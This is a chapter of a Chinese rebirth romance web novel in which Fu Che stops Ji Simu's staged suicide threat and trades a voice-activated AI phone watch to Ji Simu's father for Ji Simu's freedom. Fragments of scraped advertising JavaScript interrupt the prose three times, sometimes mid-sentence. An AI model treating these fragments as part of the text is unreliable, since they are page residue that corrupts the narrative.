就在傅彻推开房门的前一秒,纪斯沐身子猛地向前扑,抓起旁边桌上的剪刀就要往自己的脖颈处横过去。 傅彻瞳孔骤然紧缩,身子下意识地就动了起来,飞速扑了过去。 黑色的鸭舌帽掉落在地,在白色瓷砖上打了几个旋,然后缓缓停下。 被扑倒在地的纪斯沐,一脸发懵地看着面前不知道从哪冒出来的前男友。 傅彻单手撑在纪斯沐的脸侧,另一只手一把夺过剪刀,原本一直挂在脸上的温和面具在此刻彻底碎裂,冰冷的内核骤然浮出水面,墨色的瞳仁泛着寒冰般的冷意。 这是纪斯沐重生后第一次见到傅彻对他生气。 可能是趋利避害的本能,又或许是骨子里就害怕这人真生气,纪斯沐只觉心虚与发怂。 他嘴唇轻微地抖了抖,像是想开口说些什么。 他想说,他拿剪刀只是想假装自杀,其实就是为了威逼他父亲放他出去。他还想问,你怎么来了?又是怎么进来的?为什么要来? 纪斯沐想说的很多,想问的也很多,可在看到那人眼底泛着的冷意,就一个字都吐不出来了。 他嘴唇蠕动了几下,默默闭上了。 傅彻鸦羽似的睫毛轻颤,冷漠的神情在看到身下的人完好无损之后,到底还是恢复了些许温度。 可惜,只是一点。 所以,兔子似的某人还是被吓得乖乖地不敢乱动。 傅彻攥紧手中的剪刀,双手撑地缓缓起身。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现在还不是和自家媳妇儿算账的时候。 纪父也被这闪电般发展的剧情吓懵了,等回过神来,发现自家大儿子被个陌生男人按在地上,额头青筋直冒,正想发火,那人倒是先开大了。 傅彻起身后对着纪父就是一拳,凌厉的拳风擦过纪父的额发,与他高挺的鼻梁只有一毫米的距离。 傅彻收回拳,深呼吸放缓情绪。 这是他岳父这是他岳父…… 在心里反复念叨这句话n遍,傅彻才终于缓过来那股想要暴揍纪父一顿的强烈欲望。 纪父被吓懵了,一时半刻都没想起他现在是在他家,只要他一声令下,别墅里所有下人都会聚过来围堵这位不速之客。 傅彻倒是没忘,不然岳父这个名头可不一定吓得住这个疯子。 “初次见面,纪伯父。” 傅彻看了看散落一地的水果,不在意地伸出右手。 纪父倒是被叫回神了,他呆呆地看着滚落到他擦得发亮的皮鞋鞋跟处的苹果,嘴角微微抽了抽,没有理会伸到面前的手,反而是弯腰捡起苹果,询问道:“来访的客人?” 会送廉价水果,且对自家大儿子有着强烈的保护欲。 ——这可不是一位普通的客人。 傅彻倒是没有生气,上辈子受纪父气的时候太多了,现在这种小儿科而已。 纪父的目光直视着这位突如其来的年轻人,拿着苹果的手突然一松。 苹果瞬息间掉落在地,啪的发出一声脆响,随之而来的是咕噜咕噜的滚动声,在寂静的房间内格外清晰。 不知自己只是被延后处置的纪斯沐,还心有余悸地松了口气,慢腾腾地爬起来后,刚好看到眼前这一幕。 他扫了眼滚到桌边的苹果,低垂眼帘,沉默不语,眼底的眸光泛着冷,又透着空茫,像是陷入了回忆。 傅彻则对纪父眼底的轻蔑与不屑完全不在意。 纪父对同性恋的偏见就跟刻在骨子里一样,不容动摇。 哪怕前世被他夺走纪氏集团跌入谷底,哪怕面对牢狱之灾,都不曾对他低过头服过软。 纪斯沐则性格强势,吃软不吃硬,也难怪前世他们父子俩只能走上断绝关系这一条路。 8.“你好,主人” 傅彻轻描淡写地扫了眼苹果,态度自然地收回手。 “纪伯父,先别动怒,我今天来可不是为了私情。” 纪父张嘴喊人的话还未出口,就断了,眉头紧皱,像在沉思。 在他看来,傅彻这次过来,就是想要挽留纪斯沐这个冤大头。 不过自家大儿子对这穷小子用情至深,他们的口头分手根本算不了什么,倒不如看看这小子打算耍什么花招。 “小子,除开你和我儿子的私情,我可不觉得我们之间还有什么好谈的。”纪父冷冷地道。 的确,他们一个是c省的商业巨头,一个却是连初出茅庐都算不上的穷大学生。 要不是纪斯沐看上他了,恐怕他连纪家大门都进不来。 傅彻也不生气,好整以暇地抛出筹码,“那最新的人工智能软件,想必您也不感兴趣了?” 纪父一怔,正要开口发问。 傅彻已经遗憾耸肩,转身就要走。 纪斯沐也被这话题拉回神,来不及反应就被纪父用力一拍肩,“还不快去把人拦下!” 纪斯沐看着神色急切的父亲,心中苦涩。 重来一世,他原想和傅彻彻底划清界限,现在看来,恐怕是不成了。 纪氏集团原为房地产开发公司,可近年来行业不景气,一直在走下坡路,纪父都快急白了头。 这次会想出联姻的主意,还是他继母提议的。 林氏集团主攻计算机方面的软件开发,近年来发展趋势稳步上升,最近更是传出在进行最新的人工智能技术研发,且已获得初步成果。 林家大小姐林浅如长得眉目如画,很是漂亮,性子也温和有礼,放古代可称为大家闺秀。 可这门婚事要真这么完美,也轮不到纪斯沐头上。 林浅如生来就是个聋哑人,所以林家父母也为她的婚事操碎了心。 这捧在手心里长大的明珠,自然要嫁个知根知底的好人家。 而纪斯沐这个从小护着林浅如的大哥哥,就是林父林母最满意的女婿。 所以在纪父试探着提议两家结为亲家时,林父恨不得立马举办订婚宴。 最后还是林母拦了下来,说让两个孩子自己决定。 在前世,傅彻亲眼见证了林氏的崛起,自然也知晓纪父谋划这场婚事的原因。 而在纪斯沐死后的十年期间,为了快速积攒功德,傅彻并没有放弃大学时所学到的知识,而是转而借用公司的资金与人脉,办了个研究基地,专门研究各种有助于国家的物品。 巧合的是,前世风靡全国,家喻户晓的最新型人工智能,正是他所带头的研发团队研究出来的。 傅彻脚步懒散,毫不担忧对方不咬钩。 纪父虽厌恶同性恋,可不谈情,只谈利益,他倒是可以先暂时放下芥蒂。 利益优先,正是他的经商之道,也是纪氏能够站于顶峰的原因。 带着前世经验而来的傅彻,自然知道该怎么搞定他。 打过一次的怪,直接拿着攻略通关即可。 就在他一只脚跨出房门,左手手腕传来一道阻力。 傅彻垂眸轻扫那只抓住他手腕的手。 那是一只一看就知道主人养尊处优的手,手指修长白皙,圆润的指尖透着淡淡的粉,和他的主人一样漂亮。 像是感受到了他放肆打量的目光,那只手的指尖轻微地颤了颤,似是想要往回收,却被傅彻察觉反手交握住了。 两人十指交叉,傅彻其本意是为安抚,却反似调戏。 可两手相触不过一瞬,傅彻就放开了。 纪斯沐睫毛轻颤,若无其事地收回手,紧抿的唇什么挽留的话都吐不出。 他知道他父亲只是想利用傅彻得到人工智能的技术,也知道傅彻估计是猜到了这件事才以此来谈判。 可奇怪的是,他明明记得,上一世这人根本就不知道他父亲逼迫他相亲的事儿,这一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 世是怎么知道的? 而且,他是从哪里得到的人工智能技术? 就算他的重生必定引起蝴蝶效应,可这速度之快,也让他略感诧异。 傅彻转身,悠哉游哉地重新走进房间,反客为主地对纪父说:“纪伯父,您不用想利用斯沐来劝我,我说过了,这次我来这,不谈私情,只论公事。” 纪父皱眉,见这年轻人一副油盐不进的样子,只能无奈放弃利用纪斯沐套话的想法了。 纪斯沐则松了口气,让他对这个上辈子害他失去一切的人说好话,堪比难如登天。 傅彻知道,没有证据,纪父根本不会完全相信他说的话。 所以他也没有玩虚的,直接掏出口袋里的手表,轻放在桌子上。 上一世深受小学生与家长所喜爱的电话手表,这一世提前面世。 方形的玻璃表盘搭配黑色的皮革表带,时尚且简约大气。 纪斯沐的表情在看到手表的一瞬间变得凝固,却没有惊扰他们的谈判场景。 纪父则在亲自实验了一番手表的功能后,惊叹发明者的智慧,可下一秒却变了语气,“可这和人工智能有什么关系呢?” 傅彻不慌不忙地道:“你总需要叫它出来嘛。” 现在这个时间,还没有人工智能的出现,只存在于传说中,所以纪父才连这个基本条件都不知道。 纪父没听懂,纪斯沐倒是懂了,可他还是没说话,就这么静静地注视着傅彻的侧脸。 房间内暖黄色的灯光照射在他的脸上,柔和了他锋利的五官线条,带给他温柔的错觉。 正在这时,傅彻突然转过头来看着他,说:“你好,小沐。” 纪斯沐一怔,还没反应过来,一道带着点电音的男声响起。 “你好,主人。” 纪斯沐脸都黑了。 靠。 纪父也嘴角直抽,当着他的面这么调戏他儿子,是嫌用双腿走路太累了? 9.掉马 傅彻轻而短促地笑了一声,墨色的瞳仁里是不自觉晕开的些许柔和。 纪斯沐满腔怒火霎时消退,不自然地偏过头去,薄薄的耳垂透着粉。 纪父见两人视他如无物,故意轻咳一声彰显存在感。 傅彻如他所愿,转移了注意力,他轻扫了他一眼,温润地笑道:“纪伯父可要照顾好自己,毕竟……老狼露出颓态,幼崽的獠牙可就藏不住了。” 还没等纪父狐疑的目光移到纪斯沐身上,傅彻又续道:“当然,注定无后的崽子,可没有夺位的欲望。” 纪父眼角的皱纹随着眉头的皱起再次加深,如藤蔓缠绕,纵横交错。 傅彻三言两语就丢了个定时炸弹下去,可面上却并无波澜。 毕竟这一世,他并没有想要谋划纪氏的心思。 更准确的来说,哪怕是上一世,他想要纪氏的原因也只是为了防止纪斯沐离开他罢了。 纪氏于他而言,从不重要。 而前世纪氏会那么轻易地落到他手中,除开纪斯沐对他的毫不设防,纪斯沐同父异母的弟弟纪钰诚也功不可没。 要不是纪钰诚设计暗算了这老家伙让他入狱,恐怕他想得到纪氏,还得再拖个几年。 纪钰诚与虎谋皮,妄想黄雀在后,真是……天真呐。 傅彻心中感叹此人的愚蠢,面上重新挂上招牌式的温润微笑。 纪父沉吟片刻,若有所思。 空旷寂静的房间内,只余三人轻而缓的呼吸声。 直到傅彻平淡地揭过方才的话题。 “小沐是我研究出来的第一个人工智能,也是目前唯一一个功能齐全,能够根据人类特定语言,来进行语音激活的AI。” 纪父被勾起了一丝兴致,伸手拿起桌上那块电话手表,指尖轻触已经暗下去了的表盘屏幕,在叫了AI小沐之后,屏幕上出现了一个可爱的文字笑脸符号。 他惊奇地用拇指摩挲了一下表盘屏幕上的符号,笑脸随之变幻,变成了一个掀桌子的文字表情符号,还发出了断断续续的电子音,“人机授受不亲,请主人注意和我保持距离。” “噗。” 纪斯沐绷不住了,差点笑出了声。 纪父尴尬之余是掩不住的惊喜,他停下手中的动作,目光紧紧锁在这个文字表情符号上,眼神中尽是贪婪。 直到一只白到没有血色的手从他手中夺过电话手表,他才醒过神来。 傅彻对纪父投过来的愤怒眼神视而不见,转头就把电话手表递给在旁边好奇观望许久的纪斯沐。 纪斯沐正为人工智能小沐的聪慧程度感到惊讶,还没来得及凑近一点再仔细瞧瞧,面前就伸过来了一只手。 白皙的掌心上是小沐重新露出来的大大的文字笑脸。 纪斯沐愣了一下,没反应过来。 看着自家大儿子的蠢样,纪父强压下对傅彻的不快,嘴角扯出一个牵强的微笑,“傅先生若为人工智能技术合作而来,我们自是非常欢迎,就是不知你想要得到什么?” 对方的合作所需物品都摆出来了,那么就是时候该谈谈条件了。 从此刻起,双方话语主导权更换。 傅彻脸上的笑意不变,听到问话也没有转头,而是把手中的电话手表往纪斯沐怀里一塞,让他自个儿拿着玩。 可能还是目前唯一一个拥有人工智能的电话手表,就这么被他的主人毫不怜惜地硬塞别人怀里,就跟在路边随手摘了朵花送人一样。 当然,当事人不在意,旁观的纪父倒是吓得不轻,深怕把电话手表给摔坏了,布满皱纹的脸上满是忐忑紧张,就差上前把手表抢过来了。 纪斯沐倒是没有那么重视,毕竟拥有前世记忆的他早已对人工智能见怪不怪了,当然也是因为他目前还没意识到小沐的重要与独特性。 而傅彻在塞完花,哦不,是塞完手表后,终于谈起正事来了。 “我只有一个要求。” 傅彻的声音很轻,无波无澜。 纪父眉头紧皱,像是想到了什么,没有立马答应。 纪斯沐也好似猜到了什么,拿着电话手表的手力度加深,黑色的皮革表带陷入几个浅浅的指甲印。 要不是这皮革表带的质量不错,就这力度,指甲印还得再深陷几分。 傅彻则似无所觉,接着继续往下说:“我要你答应我,让纪斯沐自己选择他想要的生活。” 在场二人都愣住了,像是听到了什么不可思议的话。 与其说他是在提要求,不如说他是想要纪父放弃利用父亲这个身份逼迫纪斯沐做他任何不想做的事。 而这恰恰只利于纪斯沐。 如若傅彻喜欢纪斯沐,明明只要让纪父逼迫纪斯沐嫁给他便好了,可他却提出了一个于他自己全然无益的请求。 纪斯沐表情怔愣地看着面前认真严肃的青年,紧抿的唇微微发白。 他能重生的原因他自己也并不清楚,可这阵子发生的所有事,包括现在握于掌心的人工智能电话手表,都在向他证明一件事。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——这辈子重生的,不止他一人。 已经掉马的傅彻,面对纪斯沐的目光毫不在意,或者说,他本就无意伪装自己。 刚重生的时候,他是有想过和纪斯沐重新开始,好好爱他。 可今天的事让他知道,阻碍纪斯沐获得幸福的人,其实一直是他。 现在都在隐隐作痛的肚子,就像在提醒他,他始终是一个戴着正常人面具的精神病人。 上辈子怀疑酿就的苦果,这辈子他真的能够避免吗? 说实话,他没有这个自信。 而只要他接近纪斯沐,会让纪斯沐产生痛苦,那么无论这个可能性有多低,他都无法接受。 这一刻,傅彻对上辈子纪斯沐在死亡的最后一刻,把他推出去的矛盾行为感同身受。 那是哪怕自己陷入痛苦、死亡,都不愿意让对方受到一丁点伤害的爱。 可他的爱本身就掺杂了名为怀疑的毒药,那是深刻于骨髓的毒性,他也无法剔除。 ——何必再把想要脱离苦海的人拉入深渊呢? ——放过他吧。 这是当时坐在出租车上,想了一路,痛了一路的傅彻,脑海里唯一的念头。 纪父对这个奇怪的要求很是不解,一辈子混于名利场,以权与利获得一切,位于人群中心的他,无法理解这种为爱牺牲、奉献一切的精神。 他只觉得傅彻很蠢。 可他的愚蠢有利于他,让他在没有任何损失的前提下,获得一个前途无量的人工智能技术,那么也算是好事一桩不是吗? 很显然,傅彻给出的利益足够大,大到让纪父选择放弃作为纪斯沐父亲应有的权利,或者也可以说是控制。 反正他又不止这一个儿子。 “可以。” 纪父毫不犹豫地答应了。 看着纪父连迟疑都没有就答应了对方,纪斯沐本就接近麻木的心脏还是刺痛了一下。 原来,在纪父眼中,他只是一个只要利益足够便可舍弃的货物。 他前世安慰自己的,纪父是为了保护他,恨铁不成钢才和他断绝关系的这些话,全部都是自欺欺人罢了。 深棕色的眼眸深处隐藏着的希冀,终于彻底熄灭。 恶狼伪装成王子,带着聚宝盆所化的礼物,成功赎回了被囚禁的公主。 拘于狼堡长大的公主,又是否愿意和这位一看就是未来新狼王的王子走呢? 从快要挣破的牢笼,换成全新的,更为华美的金笼?